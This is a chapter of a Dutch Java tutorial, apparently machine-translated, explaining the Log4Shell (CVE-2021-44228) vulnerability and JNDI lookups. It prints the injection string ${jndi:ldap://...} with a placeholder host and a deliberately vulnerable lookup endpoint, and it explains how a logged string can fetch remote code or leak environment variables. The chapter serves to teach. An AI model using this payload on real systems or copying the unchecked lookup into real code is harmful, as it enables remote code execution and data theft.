7.1 Schandaal
En het is natuurlijk onmogelijk om niet te vertellen over het verhaal dat vrij recent is gebeurd - eind 2021.
Volgens de Amerikaanse Cybersecurity and Infrastructure Protection Agency (CISA) Log4Shellis het probleem een van de ernstigste kwetsbaarheden in de geschiedenis. Ja, we hebben het over onze favoriete bibliotheek log4j.
Onze gezellige kleine bibliotheek log4j en de grootste kwetsbaarheid in de geschiedenis ? Gefascineerd? Luister dan.
7.2 Omvang van de ramp
De ontdekking van een kritieke kwetsbaarheid Log4Shell(code CVE-2021-44228) werd op 9 december 2021 aangekondigd door beveiligingsexperts van Lunasec. Experts van de Java-gemeenschap van het Apache Security Team hebben deze informatie geverifieerd en een lijst met kwetsbare Java-bibliotheken gepubliceerd. De lijst was gewoon enorm.
Als een Java-project een bibliotheek gebruikte log4j, dan kon het vrij gemakkelijk worden gehackt. En gezien het feit dat bijna alle serversoftware is geschreven in Javade log4jmeest populaire java-logger, trof de kwetsbaarheid volgens beveiligingsexperts 93% van de zakelijke cloudomgevingen. Waaronder Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam en nog veel meer
Bovendien trof de kwetsbaarheid niet alleen serversoftware, maar ook veel Java-applicaties, evenals hardwarefabrikanten. Intel publiceerde bijvoorbeeld een lijst met 32 hackbare programma's: SDK's, serveronderhoudssystemen, Linux-tools.
Nvidia plaatste ook een beveiligingsprobleemrapport waarin DGX-servers en NetQ-tools werden genoemd. Er zijn met spoed een aantal updates uitgebracht door Apple en Microsoft.
Grofweg zet één regel in de adresbalk van de browser van een leerling de server als deze regel wordt opgegeten door de logger (op veel servers wordt alles gelogd HTTP-requests).
Na analyse van de code bleek dat de kwetsbaarheid al sinds 2013 in de bibliotheek zat, maar ze merkten het nu pas. En toen ze dieper begonnen te graven, ontdekten ze een afgrond waarvan de bodem helemaal niet zichtbaar is.
7.3 De ernstigste kwetsbaarheid in de geschiedenis
In december 2021 verklaarde de Amerikaanse Cybersecurity and Infrastructure Protection Agency (CISA) dat Log4Shellhet een van de ernstigste kwetsbaarheden in de geschiedenis is .
Veel andere experts spreken een soortgelijke mening uit . Iedereen kent deze kwetsbaarheid en hackers van alle leeftijden maken er al gebruik van om persoonlijke gegevens en andere soorten aanvallen op verschillende organisaties te stelen. In de toekomst wachten we op een golf van massale hacks en datalekken.
De omvang van de ramp is zelfs af te meten aan het feit dat er een aparte site is met memes over Log4j , en elke dag komen er nieuwe foto's bij.
Dit probleem speelt al een hele tijd bij ons. Een beveiligingslek in miljoenen, zo niet honderden miljoenen computersystemen. Alle oude software moet worden geüpdatet en in ieder geval deze bibliotheek daar vervangen. Maar in de meeste gevallen weet niemand zelfs welke bibliotheken en welke versies in hun software worden gebruikt.
Over het algemeen verwachten we een forse stijging van de salarissen van computerbeveiligingsspecialisten.
7.4 Aard van de kwetsbaarheid
Om de essentie van de kwetsbaarheid te begrijpen, moet u begrijpen hoe grote serversystemen zijn ingericht. Vaak zijn dergelijke servertoepassingen onderverdeeld in verschillende services die zich op verschillende servers bevinden. En de JNDI-service helpt hen om te communiceren.
Java Naming and Directory Interface (JNDI) is Java APIom objecten/services op naam op te zoeken. Deze objecten kunnen worden opgeslagen in verschillende naamgevingsservices of mappen, zoals Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) of Domain Name Service (DNS).
Het is heel eenvoudig om ermee te werken - het is een eenvoudige Java APIdie slechts één tekenreeksparameter nodig heeft - de naam van de service. Hiermee kun je elke dienst contacteren en hem vragen iets te doen en/of wat gegevens te sturen. ${jndi:ldap://example.com/file}String laadt bijvoorbeeld gegevens van dit URLgespecificeerd in de string.
Als de parameter afkomstig is van een niet-vertrouwde bron, kan dit leiden tot het laden van klassen op afstand en het uitvoeren van code door derden . Wat gebeurt er in het geval van Log4j. De aanvaller stuurt eenvoudigweg de Java-toepassing van het slachtoffer naar de kwaadwillende rmi/ldap/corba-serveren ontvangt als reactie daarop een kwaadaardig object.
Technisch gezien zit het probleem hier niet in log4jde bibliotheek zelf, maar in de beveiligingsinstellingen bij het werken met JNDI-service. Je moet altijd controleren aan wat voor soort string we doorgeven InitialContext.lookup().
Kwetsbaar voorbeeld JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}7.5 Te slimme bibliotheek
En waar log4jvraag je het? Het punt is dat de ontwikkelaars het werken ermee zo comfortabel mogelijk wilden maken en er slimme logging aan toevoegden. Dit is hoe het werkt:
Het begon allemaal met het feit dat logberichten u in staat stelden een sjabloon in te stellen waarin gegevens werden vervangen, bijvoorbeeld:
log.debug(“User {user} has {count} friends”, user, count);
De oude versie zonder gegevensvervanging zag er zo uit:
log.debug( “User “+user +” has “+ count +” friends”);
In 2013 werd ook de vervanging van slimme voorvoegsels gespecificeerd door de weergavesjabloon aan de bibliotheek toegevoegd ${prefix:name}. “${java:version}”De string wordt bijvoorbeeld geconverteerd naar «Java version 1.7.0_67». Oh wat handig.
Een van de herkende uitdrukkingen is ${jndi:<lookup>}waar u na het jndi-protocol een zoekopdracht kunt specificeren via LDAP: willekeurig URL-addresskan worden opgevraagd en geladen als objectgegevens Java.
Dit is een standaardprobleem van de hele aanpak JDK: het deserialiseert automatisch een object, een link waarnaar kan worden ingesteld in de vorm van een url. In dit geval worden niet alleen de gegevens van het object geladen vanaf de externe bron, maar ook de code van zijn klasse.
De hack ziet er zo uit:
- Het downloaden van een bestand met schadelijke code
- Bestand bevat geserialiseerd
Java an object(en zijn klasse) - De klas wordt geladen
Java-machine - Er wordt een object van een schadelijke klasse gemaakt
- De constructor van het object wordt aangeroepen
- Zowel constructor- als statische initialisatie maken het mogelijk om schadelijke klassencode uit te voeren
log4jAls er zoiets in de lijn is dat wordt gelogd ${jndi:ldap://example.com/file}, dan log4jzal het hier gegevens van downloaden URL-addresswanneer verbinding wordt gemaakt met internet . Door een tekenreeks in te voeren die is gelogd, kan een aanvaller kwaadaardige code downloaden en uitvoeren die wordt gehost op een openbaar URL-address.
Zelfs als gegevensuitvoering is uitgeschakeld, kan een aanvaller gegevens verkrijgen, zoals geheime omgevingsvariabelen, door deze in een te plaatsen URL-address, die deze zal vervangen en naar de server van de aanvaller zal sturen.
Het goede nieuws is dat het probleem in de bibliotheek snel werd verholpen .
Het slechte nieuws is dat miljoenen servers over de hele wereld nog steeds de oude versie van deze bibliotheek draaien ...